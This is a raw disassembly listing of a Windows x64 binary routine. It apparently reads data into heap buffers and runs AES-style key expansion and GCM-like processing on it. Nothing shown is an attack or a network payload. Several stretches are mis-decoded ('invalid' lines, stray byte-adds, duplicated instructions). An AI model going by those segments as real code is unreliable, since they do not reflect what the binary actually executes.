cmp rax, rdx
ja 0x14001e67e
add byte [rax + 0x39], cl
ror byte [rdi], 1
xchg dword [rax], ecx
sbb eax, 0x1490000
std
add r13, rdi
mov qword [rsp + 0x78], r13
cmp r12, qword [rsp + 0xa0]
jne 0x14001c85a
invalid
invalid
invalid
invalid
invalid
cmp r13, r12
mov rdi, qword [rsp + 0x38]
jne 0x14001c85a
movdqa xmmword [rsp + 0xa10], xmm6
movdqa xmmword [rsp + 0xa00], xmm6
add byte [rax], al
or al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x14001c95b
and al, 0
or al, byte [rax]
add byte [rax], al
jmp 0x14001c9c8
nop
cmp byte [r13 + 0xf], 0x23
jne 0x14001ca8d
add byte [rax], al
jmp 0x14001c9c8
lea rcx, [rsp + 0x648]
call fcn.14007a090
invalid
invalid
invalid
add eax, 0x20b94100
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
invalid
mov r9d, 0x20
lea rcx, [rsp + 0x640]
mov rdx, rdi
mov r8, rbx
call fcn.140082610
cmp qword [rsp + 0x640], 0
cmp dword [rsp + 0x640], 0
cmp dword [rsp + 0x640], 0
je case.default.0x14001ca08
mov r13, qword [rsp + 0x648]
mov eax, r13d
and eax, 3
loopne 0x14001c9fd
loopne 0x14001c9fd
lea rcx, [0x1400ef294]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xchg ebx, eax
sub byte [0x144651204], cl
or dword [rax + 1], 0x41e0ffc8
jmp rax
cmp byte [r13 + 0x10], 0x23
cmp byte [r13 + 0x10], 0x23
je 0x14001c9bb
stosb byte [rdi], al
jmp 0x14001ca8d
pop rdi
mov rdi, qword [rsp + 0x648]
test rdi, rdi
dec dword [rdi]
invalid
invalid
add dword [rax], eax
invalid
dec dword [rdi]
test byte [0x18801ca41], dh
cmp edi, 0x21
cmp rdi, 0x21
jae 0x14001e654
lea rcx, [rsp + 0x68]
mov rdx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
mov r8, rdi
call fcn.1400ab0a0
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
insb byte [rdi], dx
and al, 0x78
insb byte [rdi], dx
and al, 0x78
mov rcx, qword [rsp + 0x68]
add rcx, r13
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r13, rdi
std
std
mov qword [rsp + 0x78], r13
jmp 0x14001c85a
mov rdi, qword [rsp + 0x38]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14001cab9
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001e643
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001e643
mov qword [rax], r13
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
je 0x14001cb08
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0xde0]
movaps xmm7, xmmword [rsp + 0xdf0]
movaps xmm8, xmmword [rsp + 0xe00]
movaps xmm9, xmmword [rsp + 0xe10]
movaps xmm10, xmmword [rsp + 0xe20]
movaps xmm11, xmmword [rsp + 0xe30]
movaps xmm12, xmmword [rsp + 0xe40]
movaps xmm13, xmmword [rsp + 0xe50]
movaps xmm14, xmmword [rsp + 0xe60]
movaps xmm15, xmmword [rsp + 0xe70]
add rsp, 0xe88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [section..data]
cmp al, 0xff
mov rbx, qword [rsp + 0xc0]
je 0x14001cb90
cmp al, 1
je 0x14001cbdc
jmp 0x14001d1ca
lea rcx, [rsp + 0x640]
call fcn.1400401c0
lea rcx, [rsp + 0xe0]
call fcn.1400401f0
mov esi, dword [rsp + 0x648]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x14001d1c3
call fcn.14000d240
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov byte [section..data], sil
je 0x14001d1ca
movdqu xmm6, xmmword [rbx]
movdqu xmm7, xmmword [rbx + 0x10]
movdqa xmmword [rsp + 0x5b0], xmm7
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5b0]
call fcn.140040220
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmmword [rsp + 0xa0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm6
movdqa xmmword [rsp + 0x5c0], xmm0
movdqa xmm6, xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5c0]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmmword [rsp + 0xc0], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm7
movdqa xmmword [rsp + 0x5d0], xmm0
movdqa xmm7, xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5d0]
call fcn.140040240
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm3, xmm6
movdqa xmmword [rsp + 0x5a0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm3
movdqa xmmword [rsp + 0x5e0], xmm6
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5e0]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm3, xmm7
movdqa xmmword [rsp + 0x590], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm3
movdqa xmmword [rsp + 0x5f0], xmm7
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x5f0]
call fcn.140040250
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
movdqa xmmword [rsp + 0x600], xmm8
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x600]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
movdqa xmmword [rsp + 0x610], xmm9
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x610]
call fcn.140040260
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
movdqa xmmword [rsp + 0x620], xmm10
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x620]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
movdqa xmmword [rsp + 0x630], xmm11
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x630]
call fcn.140040270
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
movdqa xmmword [rsp + 0xd0], xmm12
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xd0]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
movdqa xmmword [rsp + 0x80], xmm13
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x80]
call fcn.140040280
pshufd xmm0, xmmword [rsp + 0xe0], 0xff
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
movdqa xmmword [rsp + 0x40], xmm14
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x40]
call fcn.140040230
pshufd xmm0, xmmword [rsp + 0xe0], 0xaa
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rsp + 0xe0], xmm15
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0xe0]
call fcn.140040290
pshufd xmm0, xmmword [rsp + 0x4a0], 0xff
movdqa xmm1, xmm14
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm14
pslldq xmm0, 4
movdqa xmm2, xmm14
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x4a0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x4b0], xmm0
movaps xmm0, xmmword [rsp + 0x5a0]
movaps xmmword [rsp + 0x4c0], xmm0
movdqa xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x4d0], xmm0
movdqa xmmword [rsp + 0x4e0], xmm6
movdqa xmmword [rsp + 0x4f0], xmm7
movdqa xmmword [rsp + 0x500], xmm8
movdqa xmmword [rsp + 0x510], xmm9
movdqa xmmword [rsp + 0x520], xmm10
movdqa xmmword [rsp + 0x530], xmm11
movdqa xmmword [rsp + 0x540], xmm12
movdqa xmmword [rsp + 0x550], xmm13
pxor xmm2, xmm14
movdqa xmmword [rsp + 0x560], xmm14
movdqa xmmword [rsp + 0x570], xmm15
movdqa xmmword [rsp + 0x580], xmm2
lea rcx, [rsp + 0x1d0]
lea rdi, [rsp + 0x4a0]
mov rdx, rdi
call fcn.140008000
lea rbx, [rsp + 0xe0]
mov r8d, 0xf0
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x640]
mov r8d, 0x1e0
mov rdx, rbx
jmp 0x14001dab4
lea rcx, [rsp + 0x68]
xor edx, edx
mov r8, r14
call fcn.1400ab0a0
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
add r14, 0x400
jb 0x14001c7f6
mov rax, r14
and rax, 0x1fff
je 0x14001d1bb
mov ecx, 0x2000
sub rcx, rax
add r14, rcx
setb r15b
jmp 0x14001c833
xor r15d, r15d
jmp 0x14001c833
mov byte [section..data], 0
lea rdi, [rsp + 0xe0]
mov r8d, 0x3c0
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003e6f0
lea rcx, [rsp + 0x120]
add rbx, 0x10
mov qword [rsp + 0x20], rbx
mov rdx, rbx
mov r8, rbx
mov r9, rbx
call fcn.14003e6f0
mov ebx, 8
mov esi, 0x80
mov r14d, 0xc0
pcmpeqd xmm6, xmm6
mov r15d, 0x80
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, rbx
call fcn.14003eb10
lea rcx, [rsp + rsi]
add rcx, 0xe0
call fcn.14003ec10
movdqu xmm0, xmmword [rsp + rsi + 0xe0]
movdqu xmm1, xmmword [rsp + rsi + 0x108]
pxor xmm0, xmm6
movdqu xmmword [rsp + rsi + 0xe0], xmm0
pxor xmm1, xmm6
movdqu xmmword [rsp + rsi + 0x108], xmm1
xor byte [rsp + r15 + 0xe3], 0xf0
add rbx, 8
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x1c
call fcn.14003eec0
cmp r15, 0x3b0
je 0x14001d31e
mov rcx, rdi
mov rdx, rbx
call fcn.14003eb10
lea rcx, [rsp + r14]
add rcx, 0xe0
call fcn.14003ec10
movdqu xmm0, xmmword [rsp + rsi + 0x120]
movdqu xmm1, xmmword [rsp + rsi + 0x148]
pxor xmm0, xmm6
movdqu xmmword [rsp + rsi + 0x120], xmm0
pxor xmm1, xmm6
movdqu xmmword [rsp + rsi + 0x148], xmm1
add rbx, 8
mov rcx, rdi
mov rdx, rbx
mov r8d, 0xc
call fcn.14003eec0
add r15, 0x88
sub rsi, 0xffffffffffffff80
sub r14, 0xffffffffffffff80
jmp 0x14001d240
mov eax, 0xf0
movdqa xmm1, xmmword [0x1400b0650]
movdqa xmm0, xmmword [0x1400b0660]
movdqa xmm2, xmmword [0x1400b0670]
movdqa xmm3, xmmword [0x1400b0680]
nop word cs:[rax + rax]
movdqu xmm7, xmmword [rsp + rax + 0x30]
movdqu xmm6, xmmword [rsp + rax + 0x40]
movdqu xmm5, xmmword [rsp + rax + 0x50]
movdqu xmm4, xmmword [rsp + rax + 0x60]
movdqa xmm8, xmm7
psrlq xmm8, 8
pxor xmm8, xmm7
pand xmm8, xmm1
movdqa xmm9, xmm8
psllq xmm9, 8
por xmm9, xmm8
pxor xmm9, xmm7
movdqa xmm7, xmm9
psrlq xmm7, 4
pxor xmm7, xmm9
pand xmm7, xmm0
movdqa xmm8, xmm7
psllq xmm8, 4
por xmm8, xmm7
pxor xmm8, xmm9
movdqu xmmword [rsp + rax + 0x30], xmm8
movdqa xmm7, xmm6
psrlq xmm7, 8
pxor xmm7, xmm6
pand xmm7, xmm1
movdqa xmm8, xmm7
psllq xmm8, 8
por xmm8, xmm7
pxor xmm8, xmm6
movdqa xmm6, xmm8
psrlq xmm6, 4
pxor xmm6, xmm8
pand xmm6, xmm0
movdqa xmm7, xmm6
psllq xmm7, 4
por xmm7, xmm6
pxor xmm7, xmm8
movdqu xmmword [rsp + rax + 0x40], xmm7
movdqa xmm6, xmm5
psrlq xmm6, 8
pxor xmm6, xmm5
pand xmm6, xmm1
movdqa xmm7, xmm6
psllq xmm7, 8
por xmm7, xmm6
pxor xmm7, xmm5
movdqa xmm5, xmm7
psrlq xmm5, 4
pxor xmm5, xmm7
pand xmm5, xmm0
movdqa xmm6, xmm5
psllq xmm6, 4
por xmm6, xmm5
pxor xmm6, xmm7
movdqu xmmword [rsp + rax + 0x50], xmm6
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm1
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0x60], xmm5
movdqu xmm4, xmmword [rsp + rax + 0x70]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x70], xmm6
movdqu xmm4, xmmword [rsp + rax + 0x80]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x80], xmm6
movdqu xmm4, xmmword [rsp + rax + 0x90]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0x90], xmm6
movdqu xmm4, xmmword [rsp + rax + 0xa0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rsp + rax + 0xa0], xmm6
movdqu xmm4, xmmword [rsp + rax + 0xb0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xb0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xc0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xc0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xd0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xd0], xmm5
movdqu xmm4, xmmword [rsp + rax + 0xe0]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rsp + rax + 0xe0], xmm5
add rax, 0x100
cmp rax, 0x3f0
jne 0x14001d350
movdqu xmm2, xmmword [rsp + 0x420]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x420], xmm3
movdqu xmm2, xmmword [rsp + 0x430]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x430], xmm3
movdqu xmm2, xmmword [rsp + 0x440]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x440], xmm3
movdqu xmm2, xmmword [rsp + 0x450]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm1, xmm3
psllq xmm1, 8
por xmm1, xmm3
pxor xmm1, xmm2
movdqa xmm2, xmm1
psrlq xmm2, 4
pxor xmm2, xmm1
pand xmm2, xmm0
movdqa xmm0, xmm2
psllq xmm0, 4
por xmm0, xmm2
pxor xmm0, xmm1
movdqu xmmword [rsp + 0x450], xmm0
pcmpeqd xmm0, xmm0
movdqu xmm1, xmmword [rsp + 0x120]
movdqu xmm2, xmmword [rsp + 0x148]
movdqu xmm3, xmmword [rsp + 0x160]
movdqu xmm4, xmmword [rsp + 0x188]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x120], xmm1
pxor xmm2, xmm0
movdqu xmmword [rsp + 0x148], xmm2
pxor xmm3, xmm0
movdqu xmmword [rsp + 0x160], xmm3
pxor xmm4, xmm0
movdqu xmmword [rsp + 0x188], xmm4
movdqu xmm1, xmmword [rsp + 0x1a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1a0], xmm1
movdqu xmm1, xmmword [rsp + 0x1c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1c8], xmm1
movdqu xmm1, xmmword [rsp + 0x1e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1e0], xmm1
movdqu xmm1, xmmword [rsp + 0x208]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x208], xmm1
movdqu xmm1, xmmword [rsp + 0x220]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x220], xmm1
movdqu xmm1, xmmword [rsp + 0x248]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x248], xmm1
movdqu xmm1, xmmword [rsp + 0x260]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x260], xmm1
movdqu xmm1, xmmword [rsp + 0x288]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x288], xmm1
movdqu xmm1, xmmword [rsp + 0x2a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2a0], xmm1
movdqu xmm1, xmmword [rsp + 0x2c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2c8], xmm1
movdqu xmm1, xmmword [rsp + 0x2e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2e0], xmm1
movdqu xmm1, xmmword [rsp + 0x308]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x308], xmm1
movdqu xmm1, xmmword [rsp + 0x320]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x320], xmm1
movdqu xmm1, xmmword [rsp + 0x348]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x348], xmm1
movdqu xmm1, xmmword [rsp + 0x360]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x360], xmm1
movdqu xmm1, xmmword [rsp + 0x388]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x388], xmm1
movdqu xmm1, xmmword [rsp + 0x3a0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3a0], xmm1
movdqu xmm1, xmmword [rsp + 0x3c8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3c8], xmm1
movdqu xmm1, xmmword [rsp + 0x3e0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x3e0], xmm1
movdqu xmm1, xmmword [rsp + 0x408]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x408], xmm1
movdqu xmm1, xmmword [rsp + 0x420]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x420], xmm1
movdqu xmm1, xmmword [rsp + 0x448]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x448], xmm1
movdqu xmm1, xmmword [rsp + 0x460]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x460], xmm1
movdqu xmm1, xmmword [rsp + 0x488]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x488], xmm1
lea rcx, [rsp + 0x640]
lea rdx, [rsp + 0xe0]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x640]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movzx eax, byte [section..data]
cmp al, 1
jne 0x14001db00
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x40]
mov r8, rdx
call fcn.140016580
jmp 0x14001db56
movdqa xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x4a0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
movdqa xmmword [rsp + 0x4c0], xmm0
movdqa xmmword [rsp + 0x4d0], xmm0
lea rcx, [rsp + 0x640]
lea rdx, [rsp + 0xe0]
lea r8, [rsp + 0x4a0]
call fcn.14003f180
movdqu xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x40], xmm0
movzx esi, byte [rsp + 0x40]
movzx r8d, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x42]
movzx edx, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
shl r8, 0x30
shl rax, 0x28
or rax, r8
movzx r8d, byte [rsp + 0x45]
shl rdx, 0x20
or rdx, rax
movzx eax, byte [rsp + 0x46]
shl rcx, 0x18
or rcx, rdx
movzx r9d, byte [rsp + 0x47]
shl r8, 0x10
or r8, rcx
movzx ecx, byte [rsp + 0x48]
shl rax, 8
or rax, r8
movzx edx, byte [rsp + 0x49]
or rax, r9
movzx r8d, byte [rsp + 0x4a]
shl rcx, 0x38
shl rdx, 0x30
shl r8, 0x28
or rdx, rcx
or rdx, r8
movzx r8d, byte [rsp + 0x4b]
shl r8, 0x20
or rdx, r8
movzx r8d, byte [rsp + 0x4c]
shl r8, 0x18
or rdx, r8
movzx r8d, byte [rsp + 0x4d]
shl r8, 0x10
or rdx, r8
movzx r8d, byte [rsp + 0x4f]
or rdx, r8
mov r8, rsi
shl r8, 0x38
or rax, r8
shld rax, rcx, 1
movzx edi, byte [rsp + 0x4e]
shr esi, 7
add rdx, rdx
shl rdi, 9
or rdi, rdx
movabs rcx, 0x8000000000000000
and rcx, r8
mov rdx, rsi
shl rdx, 0x3e
or rdx, rcx
or rdi, rsi
shl rsi, 0x39
or rsi, rdx
xor rsi, rax
movzx eax, byte [0x1400f9001]
cmp al, 0xff
jne 0x14001dc91
lea rcx, [rsp + 0x4a0]
call fcn.1400401c0
lea rcx, [rsp + 0x640]
call fcn.1400401f0
mov ebx, dword [rsp + 0x4a8]
mov eax, ebx
not eax
test eax, 0xc000000
jne 0x14001dc89
call fcn.14000d240
and eax, 2
shr eax, 1
shr bl, 1
and bl, al
jmp 0x14001dc8b
xor ebx, ebx
mov byte [0x1400f9001], bl
mov qword [rsp + 0xdc0], rdi
mov qword [rsp + 0xdc8], rsi
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xdd0], xmm6
lea rbx, [rsp + 0xa00]
lea rdx, [rsp + 0xe0]
mov r8d, 0x3c0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
mov r12, r14
add r12, 0x10
je 0x14001e207
js 0x14001e69e
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14001dd15
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001e68f
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001e68f
mov rdi, rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], 0
cmp r14, 0xfffffffffffffff0
jae 0x14001e21c
xor esi, esi
lea rcx, [rdi + rsi]
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rsi, r14
mov qword [rsp + 0x90], rsi
movabs rax, 0x1000000000
cmp rsi, rax
jbe 0x14001ddc0
cmp qword [rsp + 0x88], 0
je 0x14001dd9f
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], 1
lea rax, [0x1400b2930]
mov qword [rcx + 8], rax
mov rdi, qword [rsp + 0x38]
jmp 0x14001e2bb
mov rdx, qword [rsp + 0xef0]
mov eax, dword [rdx]
mov ecx, dword [rdx + 4]
mov edx, dword [rdx + 8]
mov qword [rsp + 0x4a0], rbx
mov dword [rsp + 0x4a8], eax
